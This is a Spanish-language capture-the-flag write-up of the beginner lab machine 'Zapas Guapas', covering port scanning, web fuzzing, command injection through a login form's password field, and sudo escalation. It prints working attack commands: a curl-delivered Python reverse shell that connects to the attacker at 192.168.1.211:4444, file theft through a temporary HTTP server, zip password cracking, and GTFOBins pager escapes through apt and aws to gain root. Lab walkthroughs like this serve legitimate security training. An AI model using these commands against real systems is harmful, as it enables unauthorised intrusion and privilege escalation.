Zapas Guapas – The Hackers Labs [Write Up]

En esta ocasión quería hacer la resolución de la máquina llamada «Zapas Guapas» de TheHackerLabs de dificultad Principiante.

Resumen de conceptos trabajados:

Escaneo de Puertos Investigación web Fuzzing web Confirmación RCE Pivoting de usuarios Explotación de binarios

Si es tu primera máquina de The Hackers Labs y no sabes cómo empezar a comprometer la máquina, te recomiendo que visites este post donde te cuento paso a paso cómo hacerlo.

Básicamente lo que tienes que hacer es descargarte el laboratorio/máquina de la plataforma, importarla desde tu Virtual Box o VMWare, iniciarla y ya desde tu máquina Kali atacante buscar por la red interna la IP con el comando arp-scan…

El resumen de las tres capturas de imagen anteriores es que:

1. por un lado, mi máquina atacante Kali ha encontrado en mi red una máquina con MAC que empieza por 08 que como sabemos corresponde a máquinas virtualizadas
2. por otro lado, confirmamos que esa IP efectivamente es la de nuestra máquina víctima lanzándole un ping y vemos que nos devuelve un TTL de 64 (máquina Linux)
3. y comprobamos además que la máquina está activa con el mensaje «host is up».

Fase de Enumeración / Escaneo de Puertos

Por tanto ahora comenzamos con la fase de reconocimiento y escaneo de puertos y servicios que corren para esa IP víctima.

Normalmente, y en los casos de prácticas de laboratorios, se suelen empezar por un escaneo de puertos por TCP ya que la mayoría de servicios útiles en máquinas de laboratorio (HTTP, SSH, SMB, MySQL, etc.) usan TCP. Si no encontráramos nada por este protocolo, trataríamos de hacer un escaneo con nmap por UDP.

Por tanto, en nuestro caso y para empezar, aplicaremos el siguiente comando nmap por TCP (si quieres conocer el significado de cada comando, te dejo este post donde lo explico):

└─# nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.146

El escaneo nos detecta como abiertos algunos de los puertos más comunes en este tipo de retos: p22 ssh, y p80 http (web).

Conocidos estos puertos de la máquina víctima como abiertos, lo que hacemos a continuación es enumerar, mediante un script básico de nmap, cuáles son los servicios y versiones que corren en ellos. De esta forma podemos investigar si hay expuestas vulnerabilidades públicas, etc. La idea es poder recoger toda la información posible.

└─# nmap -sCV -p22,80 192.168.1.146                     

Este comando anterior «sCV» lo podemos incluir en la petición de nmap anterior combinándolo con «sCV» pero de forma separada queda más clara la explicación, además de que si se hubieran detectado de base más de 2 puertos, el escaneo tardaría mucho más.

Sabiendo lo anterior, y antes de ponerme a investigar el puerto 80, voy a buscar potenciales vulnerabilidades y exploits públicos que se hayan reportado en Exploit DB a través del comando «searchsploit» pero ni por OpenSSH (versión muy reciente) ni por Apache, se detectan a priori ningún exploit.

Por tanto, a partir de ahora, continuo la fase de reconocimiento por el puerto 80 web abierto accediendo a la IP desde el navegador:

INVESTIGACIÓN WEB

Nos devuelve una aplicación web por lo que parece un ecommerce de zapatillas. Aquí, me gusta ir revisando ficheros públicos como robots.txt, código fuente, funcionalidad web, urls accesibles, etc antes de aplicar fuzzing para descubrir carpetas, subdominios o ficheros ocultos.

Así de primeras, y viendo la web detecto ciertas rutas internas hacia recursos como imágenes, etc.

Por ejemplo, enlaces internos a index.html, contact, etc.

En testimonial, vemos dos nombres de clientes: jamesh dame y jumini kiri.

El contact, te permite enviar una consulta (se podría analizar la petición e intentar manipularla, etc.)

En el footer tenemos un correo de contacto también: demo@gmail.com .

Los productos o zapatillas que se ven no tienen una url propia parametrizada que nos pueda dar más pistas…toda linkan el botón al index.html .

Probamos a analizar las tecnologías que corren detrás de la web, para darnos pistas si corre php, algún CMS con versión vulnerable, etc.

Con Wappalyzer vemos que corre php como lenguaje de programación.

Con el comando Whatweb que hace una especie de scrapping de tecnologías web de la IP o dominio, vemos un correo info@zapasguapas.thl . Anotamos como posible dominio a incluir en el /etc/hosts para ver si resuelve o no.

Por curiosidad, he probado a entrar en uno de los directorios que se ven públicos bajo /images/ para que si devuelve algo, y efectivamente me da un listado de imágenes pero también hay un par de vídeos, pero sobre todo lo más relevante es que hay archivos con extensión .php , no sólo png, jpeg, etc. Por lo que si encontramos la aplicación que nos permite subir ficheros, podemos probar RCE…

Los vídeos son de dos modelos posando con las zapatillas, por lo que descarto.

Por tanto, en este punto, vamos a analizar dos cosas:

1. Ver si ese dominio de correo, resuelve para esa misma IP aplicando host discovery. (he configurado el /etc/hosts con la IP apuntando al dominio zapasguapas.thl , pero el resultado es la misma web, nada diferente)
2. Aplicar fuzzing web para detectar subdominios, carpetas o ficheros ocultos.

FUZZING WEB

Antes, y manteniendo en el /etc/hosts el dominio de zapasguapas.thl , trato de enumerar subdominios con wfuzz pero no encuentro nada.

Es por ello que continuo con la aplicación de fuzzing web sobre la IP víctima para detectar posibles extensiones de archivos expuestos o carpetas ocultas (usamos gobuster):

└─# gobuster dir -u http://192.168.1.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Nos detecta algunas cosas interesantes que quiero investigar: include y login sobre todo.

En el directorio include sólo veo una carpeta llamada «python3.11» pero que no alberga ningún archivo ni nada. Quizás pueda ser una pista de que permite correr python3…

Y si analizamos la parte de login http://192.168.1.146/login.html efectivamente nos devuelve un panel con usuario y contraseña. He probado algunas inyecciones sql y la opción de colar un código js en alguno de los campos, pero no hace nada.

Sin embargo, al analizar el código fuente, veo una parte de script expuesto, que al analizarlo con ChatGPT, me dice que:

ese login.html ya te está regalando el vector de explotación.

Lo que se ve en el código es que el “login” no autentica contra nada: al enviar el formulario hace un GET a:

run_command.php?username=...&password=...

y el comentario dice literalmente que la contraseña se usa como comando. Eso huele a que en el backend hacen algo tipo shell_exec($_GET['password']).

Es decir, que se abre la opción a una posible Ejecución Remota de Comandos RCE.

CONFIRMACIÓN RCE

Vamos a verificar si esto es así en verdad, y para ello vamos a ejecutar desde nuestra terminal de Kali, este sencillo comando con curl:

curl -s "http://192.168.1.146/run_command.php?username=test&password=id"

Y nos devuelve esta información de permisos uid = www-data, lo que nos confirma que efectivamente se produce una ejecución remota.

Confirmado esto, nos montamos una reverse shell en python3 intuyendo que por detrás se está ejecutando por lo que vimos antes.

Nos creamos esto en python3 para hacer la petición por curl:

curl -G -s \
  --data-urlencode "username=test" \
  --data-urlencode "password=python3 -c 'import socket,os,pty,socket as s; sock=s.socket(); sock.connect((\"192.168.1.211\",4444)); os.dup2(sock.fileno(),0); os.dup2(sock.fileno(),1); os.dup2(sock.fileno(),2); pty.spawn(\"/bin/sh\")'" \
  "http://192.168.1.146/run_command.php"

nos ponemos en escucha por el puerto 4444 con netcat:

y efectivamente estamos dentro como el usuario www-data.

Después de estabilizar la shell, y de investigar archivos internos, etc, llego al directorio /home y me encuentro con dos usuarios «proadidas» y «pronike»:

Si empezamos investigando el usuario pronike por ejemplo y nos vamos a su directorio, vemos un fichero nota.txt que si lo abrimos nos dice que investiguemos al usuario proadidas.

Hacemos lo mismo con el usuario «proadidas», y encontramos un user.txt, que parece que no podemos abrirlo salvo el usuario root:

por lo que nos toca seguir investigando por directorios, archivos y demás hasta encontrar algo que nos pueda dar cómo seguir escalando.

Si vemos, nos encontramos en la ruta de /var/www/tienda como el usuario www-data, si subimos de nivel hasta el directorio /var ya vemos ficheros y carpetas que son interesantes, como por ejemplo /backups (que puede contener copias/volcados con ficheros tipo .sql, .tar, .zip o credenciales), /opt (datos de aplicaciones, etc) y /log (donde pueden contener logs de sistema con registro de toda la actividad, etc).

Investigando, llegamos a ver un zip con un nombre ya clave «importante.zip» dentro de /opt, por lo que vamos a descargárnoslo desde nuestra máquina atacante levantándonos un servidor por python.

En el directorio /opt de la máquina víctima incluimos esto para compartir los ficheros que se encuentran en él

python3 -m http.server 8000 >/dev/null 2>&1 &

Y ahora desde nuestra máquina atacante, lo que haremos será un get de los recursos que hay en ese directorio:

wget http://192.168.1.146:8000/importante.zip -O importante.zip

Y ya lo tendríamos en local, pero no podemos extraerlo porque no sabemos la contraseña:

Por lo que nos toca crackearla…para ello usaremos la combinación de las herramientas zip2john y John The Ripper de esta forma:

zip2john importante.zip > importante.hash

#Extraemos el hash del zip

y ahora aplicamos fuerza bruta con el diccionario rockyou usando john the ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt --rules importante.hash

Y ya tenemos la contraseña del zip para extraerlo y leer el fichero password.txt:

PIVOTING DE USUARIOS

Ahora que tenemos la contraseña del usuario pronike, volvemos a la shell de la máquina víctima y tratamos de hacer pivoting del usuario www-data al usuario pronike para ver qué permisos privilegios tiene (si es que tiene).

su pronike

whoami y ya somos usuario pronike … ahora con «sudo -l» vemos privilegios y binarios expuestos con permisos de root sin incluir contraseña….y efectivamente vemos que podemos ejecutar el binario /usr/bin/apt sin proporcionar contraseña para convertirnos en el usuario proadidas.

Para explotar esto, acudimos a GTFOBins (Get The F**k Out Bins) que es un repositorio de comandos que te permiten escalar privilegios sin proporcionar contraseña.

EXPLOTACIÓN DE BINARIOS

En la consola como usuario pronike, lo que hacemos es poner este comando (a) del GTFObin:

sudo -u proadidas /usr/bin/apt changelog apt

despues cuando se abra el pager (less) verás la salida del changelog. En el prompt de less escribe lo siguiente y pulsa Enter:

!/bin/sh

eso le dice a less que ejecute /bin/sh , y ya podemos ejecutar whoami y nos confirmar que tenemos una shell con los privilegios de proadidas.

whoami

Y ahora como usuario proadidas, si vemos binarios y privilegios, efectivamente nos muestra que podemos escalar a root explotando el binario «aws».

Por lo que hacemos lo mismo que antes, vamos a GTFObins al binario aws , y vemos:

Ejecutamos este comando como usuario proadidas, le damos luego al enter, ponemos !/bin/sh y ya somos root:

sudo /usr/bin/aws help

Si ahora nos movemos a la home de proadidas vemos su user.txt flag:

y si nos movemos al directorio /root podemos ver la flag root.txt:

RESUMEN DE LA MÁQUINA ZAPAS GUAPAS

Encontramos una RCE en la web porque un parámetro (password) se ejecutaba directamente en el servidor, así que comprobamos con comandos simples, abrimos una reverse shell y estabilizamos el TTY. A partir de esa shell como www-data hicimos enumeración rápida (usuarios, ficheros y permisos), localizamos información sensible y recuperamos la contraseña de pronike, lo que nos permitió cambiar de usuario y trabajar con un entorno más privilegiado. Desde pronike usamos sudo -l y vimos que podíamos ejecutar /usr/bin/apt como proadidas sin contraseña; al forzar el pager/editor de apt ejecutamos /bin/sh y obtuvimos shell como proadidas. Repetimos el patrón: proadidas podía ejecutar /usr/bin/aws como root sin contraseña, y usando de nuevo el pager lanzamos un shell como root. Funcionó porque sudo permitía ejecutar binarios que invocan un pager/editor sin restringir su uso, y esos pagers aceptan comandos, lo que nos permitió escalar desde la RCE inicial hasta obtener las flags.